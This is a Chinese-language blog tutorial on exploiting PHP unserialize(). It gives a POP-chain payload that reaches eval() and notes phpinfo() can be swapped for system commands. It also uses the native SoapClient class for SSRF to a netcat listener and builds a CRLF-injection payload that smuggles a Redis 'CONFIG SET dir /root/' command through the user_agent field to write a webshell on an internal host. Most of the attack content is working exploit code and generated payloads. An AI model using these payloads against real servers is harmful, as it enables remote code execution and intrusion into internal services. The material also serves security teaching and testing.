php反序列化漏洞 (4)

有时遇见魔法方法中没有利用代码,即不存在命令执行文件操作函数,可以通过调用其他类方法和魔法函数来达到目的
反序列化想构造的出的方法
命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()

实例

代码:

<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['d']); ?>

lemon类创建了正常normal类,然后销毁时执行了action()方法,很正常,但如果让其调用evil类,销毁时候就会调用evil的action()方法出现eval方法,就能达到效果,所以需要构造

<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data = "phpinfo();"; } $lmg = new lemon(); echo urlencode(serialize($lmg))."\n"; ?>

evil中data参数为私有属性,在序列化时会出现不可复制字符,需进行url编码
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

php反序列化漏洞


其中phpinfo();可换成其他想要执行的命令system('dir');等等

php反序列化原生类利用

反序列没有合适的利用链,需要利用php自带的原生类

__call方法

__call方法在调用不存在类的方法时触发
PHP代码:

<?php $rce = unserialize($_GET['u']); echo $rce->notexist(); echo $rce; ?>

通过unserialize进行反序列化,调用不存在notextist()类,将触发__call()魔法函数。
php中原生类soapClient,存在可以进行__call魔法函数。
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
php中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。

php反序列化漏洞


其中option可以定义 User-Agent

php反序列化漏洞


payload:

<?php $rce = unserialize($_GET['u']); echo $rce->notexist(); echo $rce; ?>

注意:要开启soap,在php.ini中去除extension=php_soap.dll之前的“;” ,重启服务
payload:

<?php $lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/'))); echo $lmg; ?>

地址换成自己服务器地址
我是用虚拟机ubantu开启的端口
nc -l 8888
执行:

php反序列化漏洞


php反序列化漏洞


当然我们也可以传数据进行CRLF,攻击内网服务,注入redis命令,因为可定义user_agent
payload:

<?php $lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/'))); // echo $lmg."\n"; $poc = "CONFIG SET dir /root/"; $target = "http://192.168.124.133:8888/"; $content = "Content-Length:45\r\n\r\ndata=abc"; $b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^', "\n\r", $aaa); echo $aaa."\n"; echo urlencode($aaa)."\n"; ?>

php反序列化漏洞


php反序列化漏洞


内网中写shell:
内网中test.php

<?php if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){ echo 'hi'; @$a=$_POST[1]; @eval($a); } ?>

可以利用反序列化,CRLF内网攻击写shell,反序列化位置

<?php $rce = unserialize($_GET['u']); echo $rce->notexist(); echo $rce; ?>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpsgff.html